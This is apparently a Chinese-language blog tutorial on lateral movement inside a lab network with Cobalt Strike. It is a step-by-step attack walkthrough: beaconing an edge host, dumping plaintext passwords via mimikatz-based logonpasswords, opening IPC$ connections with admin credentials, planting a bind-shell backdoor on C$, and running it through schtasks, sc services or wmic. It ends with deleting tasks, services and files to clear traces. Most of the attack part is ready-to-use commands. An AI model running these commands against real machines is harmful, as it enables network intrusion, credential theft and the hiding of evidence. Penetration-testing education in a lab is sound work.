CS内网横向移动 模拟渗透实操 超详细

@Webkio

前言：

最近在跟朋友搞一些项目玩，所以最近没怎么更新内容
接下来我将在虚拟中模拟内网多层靶场，进行内网渗透实验，超详细，适合小白。
本文仅供网安学习，不可利用于未授权渗透工作中，否则后果自负。码字截图不易，转载记得署名。

微信关注公众号: JiuZhouSec 不定期更新渗透干货，适合小白学习。九州大地，一起Dayday UP!
image.png

模拟内网靶场 进行内网实验 我将从以下几点简述：
【上线边界机器】-【内网渗透】-【横向移动】-【痕迹清除】
实验码字不易，转载文章请署名

实验对象

这边基于之前的文章 对内网网络拓扑进行了新的配置：
工作站：Vmware workstation；Cobalt Strike 4.3
VPS:141.164.40.209
PC1 边界机器:192.168.18.100[NAT]；192.168.19.140[仅主机]
PC2 内网机器:192.168.19.142[仅主机 不出网] 192.168.20.129[仅主机 不出网]
PC3 内网机器:192.168.20.128[仅主机 不出网]
操作环境：Windows server 2008 R2 sp1
image.png
实验环境须知：无杀软 无拦截
此篇文章仅供 内网模拟攻击 参考。黑客攻击手法通常是建立在免杀绕过的方法上，渗透测试本身就是“逆天而行”的事情。模拟靶机，是为了更直观的发现内网的薄弱点，深化网安价值。

IPC连接简述（445端口共享链接）

IPC 共享命名管道，连接445端口，提供账户密码后，可以进行默认文件共享及资源管理
139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。

利用前提条件：
1. 开放139 445（SMB） 端口 （默认）
2. 目标开启 IPC 共享服务 （默认）
3. 要有管理员账户密码 （默认）

利用方法：

内置工具：IPC+schtasks（写计划任务上线beacon）

schtasks是Windows的网络计划任务
这边利用PC1与PC2简历的IPC连接 写计划任务上线内网机器PC2
利用Windows内置工具是可以尽量绕过杀软，服务查杀的一种手法，仅供参考。

1. 让PC1 边界机器上线

CS建立监听器
image.png

2. 生成一个后门 并利用漏洞上传至边界机器PC1 并运行

image.png
image.png
image.png

3. 观察CS视图表 PC1边界机器上线

image.png

4. 获取beacon后 进入 并刷新会话时间 —> sleep 0
5. 这里可以上传Fscan、或者利用CS 内置工具进行内网端口扫描操作

image.png

6. 这边对192.168.19.0网段下139，445进行端口扫描

image.png

7. 这里通过端口进行了端口存活探测 192.168.19.143的139 445开启

image.png

8. 尝试获取目标边界机器的明文密码 （这一步能获取的到就获取 该实验均是在上帝视角下进行）

部分运维人员的边界机器与内网机器为了便于使用 登入密码可能都是同一个密码
image.png

9. 利用边界机器PC1 建立与 PC2 192.168.19.143的IPC连接

  • shell net use \192.168.19.143 /user:administrator “admin@123”

image.png

  • 查看已经建立的连接

image.png

在模拟环境下 PC2是不出网的 对于不出网的机器 我们可以采取正向shell的方式获取shell

10. 在CS上创建正向监听，创建一个后门通过PC1与PC2建立的IPC连接上传后门程序并执行

上传前的PC2 机器目录下的文件内容：shell dir \192.168.19.143\c$
image.png
创建正向监听器： 这边指定的端口 要记好 7228
image.png
建立一个无状态的windows后门程序
image.png
image.png

11. 将在攻击机（本机）上利用CS创建的正向后门上传至PC1

image.png

12. 由IPC连接 通过PC1 上传文件至PC2 C盘下

shell dir
image.png
shell copy bind.exe \192.168.19.143\c$
image.png
image.png

13. 写schtasks 计划任务 执行bind.exe 创建计划任务

shell schtasks /create /s 192.168.19.143 /sc MINUTE /tn test /tr “C:\bind.exe”
shell schtasks /create 192.168.19.143 /sc MINUTE /tn test /tr “C:\bind.exe”
指令剖析：
schtasks -指定schtask方法
/create -创建
/s -system权限
/sc -指定创建的类型
/tn -指定计划任务名
/tr -需要运行的程序或命令
/mo -指定程序或命令执行的时间间隔，单位为分钟
image.png
因为是正向shell 需要攻击机连接靶机 这里只有PC1可以与PC2建立交互 故在PC1的beacon中建立与PC2的连接 执行如下:
connect 192.168.19.143 7228
image.png
PC2成功上线 这里一个小细节 图标后的链接图标 即代表PC2是通过PC1建立的连接
image.png
进入beacon
image.png
这里我们可以看到在PC2 【192.168.19.143】这台主机下 还有一张192.168.20.132的网卡 我们可以利用以上第五步介绍的方法进行端口探测 再尝试利用PC2建立与PC3的IPC连接 通过PC2使PC3上线

提供步骤思路【就不截图了 码字有点手酸】：

  • 判断PC3是否出网 端口扫描139，445端口是否开启
  • 利用漏洞或其它方法获取管理员账户密码，或尝试利用边界机器PC1的密码，前面有说过概念。
  • 建立PC2与PC3的IPC连接，打通机与机的联系。
  • 利用CS或其它手法【webshell管理工具】在PC2文件管理中上传前面创建的正向后门或重新创建一个新的后门程序。
  • 通过PC2上传后门
  • 写schtasks计划任务，相关指令在上面，认真看的应该在实操了吧。
  • PC2连接PC3，connect [target_ip] 等待上线至CS
  • 打到PC3后还可以继续端口扫描 查看网卡配置信息
  • 横向移动结束。

14. 痕迹清除 删除计划任务

这边创建的计划任务名是什么要记好哦 /tn 指定计划名 删错了就GG了
schtasks /delete /s 192.168.19.143 /tn test /f

内置工具：IPC+SC（services.msc服务控制器）

通过Windows服务的管理策略，创建新的服务，执行后门程序

  1. 内网渗透的第一步 永远是先利用漏洞让能出网的边界机器 这里是让PC1【192.168.19.140】上线CS

image.png

  1. 通过端口扫描 探测存活IP 是否开启139或445端口 这是建立IPC连接的前提

image.png

  1. logonpasswords 获取明文密码

这边CS中的 logonpasswords 是通过访问本地安全认证子系统服务进程“lsass.exe”获取明文密码
logonpasswords的技术 通过调用 “mimikatz”实现
image.png
image.png

  1. 建立IPC连接

shell net use \192.168.19.142 /user:Administrator “admin@123”
image.png

  1. 通过CS的文件管理器上传正向shell至边界机器

image.png

  1. 将bind.exe 通过PC1上传至PC2中去

image.png

  1. 利用IPC连接 在PC1上为PC2 创建一个服务

shell sc \192.168.19.142 create kiotest binpath= ‘C:\bind.exe’
image.png
这边需要注意一点 SC等于号”=” 和 “值”之间要有空格 这边好像是CS4.3版本的一个小bug
可以详见截图的细节。

这边观察PC2 kiotest这个进程已在不出网的PC2服务策略中生成
image.png

这里通过sc qc [服务名] 可以查看对应服务的详细信息
shell sc \192.168.19.142 qc kiotest
image.png

  1. 这边创建的服务需要手动开启 如下：

shell sc \192.168.19.142 kiotest
启动192.168.19.142的kiotest 服务，其实就是让服务去寻找C盘下的bind.exe并启动
image.png
这里因为是 图文表述 具体效果 我们可以反复实验以 证明通过IPC连接去创建服务-启动服务的一个过程。
image.png

  1. bind.exe成功运行后 通过PC1连接PC2 上线

connect 192.168.19.142 7228
生成的正向shell 和 反弹shell的端口都要做个记录哦 因为这里的实验都是上帝视角，正常来说我们是不能直接看PC2的图形化界面的。如果忘了端口 不就白打了吗
image.png
image.png
image.png
细心的人应该发现了 上线的是一个192.168.20.0网段的机器。说明该网段下可能还存有PC3、PC4等等。
这里类似于IPC+schtasks的方法 层层递进的进行攻击就好了，思路在上面也能看到

  1. 最后 痕迹清除

shell sc \192.168.19.142 delete [服务名]

image.png

image.png

内置工具：IPC+WMIC

WMIC是Windows的远程管理控制器，通过远程管理目标机器，可以直接在目标中进行一些操作
wmic和cmd一样在所有的windows版本中都存在，同时wmic有很多cmd下不方便使用的部分

这边wmic的方法同上 大同小异 方法多多益善

  1. 同样让边界机器先上线，对边界机器进行内网信息收集，存活探测、配置信息收集、凭据信息等
  2. 通过凭据信息、存活探测 系统配置 利用边界机器建立与PC2机器的IPC连接
  3. 建立完IPC连接之后 我们可以利用wmic查询远程机器的进程信息

shell wmic /node:192.168.19.142 process list brief
image.png
小技巧：wmic执行一些命令是没有回显结果的 我们可以通过将执行命令的结果写入文件 再查看
shell wmic /node:192.168.19.142 process call create “cmd.exe /c ipconfig > C:\result.txt”
image.png
shell type \192.168.19.142\c$\result.txt
image.png
生成image.png

  1. 通过边界机器 创建正向后门并上传至靶机（PC2）

监听
image.png
后门
image.png
上传语法：shell copy bind.exe \192.168.19.142\c$
当前目录下进行上传“bind.exe” 至 靶机的C盘下

  1. 通过wmic执行后门 并连接 上线PC2

执行：
shell wmic /node:192.168.19.142 process call create “C:bind.exe”
image.png
连接上线：
connect 192.168.19.142 7228
image.png

  1. 痕迹清除 结束进程 并 删除执行程序
    利用PC2的beacon结束进程 , 即断开
    利用IPC连接删除执行程序
    shell del \192.168.19.142\C$\bind.exe

以下简单的介绍两种不常用的内置工具 winrs和WinRM 用法同上三种大同小异

内置工具：winrs（域）

要求：目标机器 5985端口打开，如果没有开，可以手动开启（在渗透测试中不常用）
靶机手动开启 winrm quickconfing -q 【！ 网络状态是家庭网络 或 工作网络 才能打开】

内置工具：WinRM( 域 两台机器5985端口都要打开)

在靶机手动开启 winrm quickconfing -q
这两种同是在边界机器沦陷的基础下，进行存活探测，建立IPC连接等，去进行横向移动渗透测试的操作。

过几天整理一篇外部工具的利用。如有错误不足，劳纠正，互相学习，共建网安！

Tags:

VirMach 便宜 VPS

QNews

QNews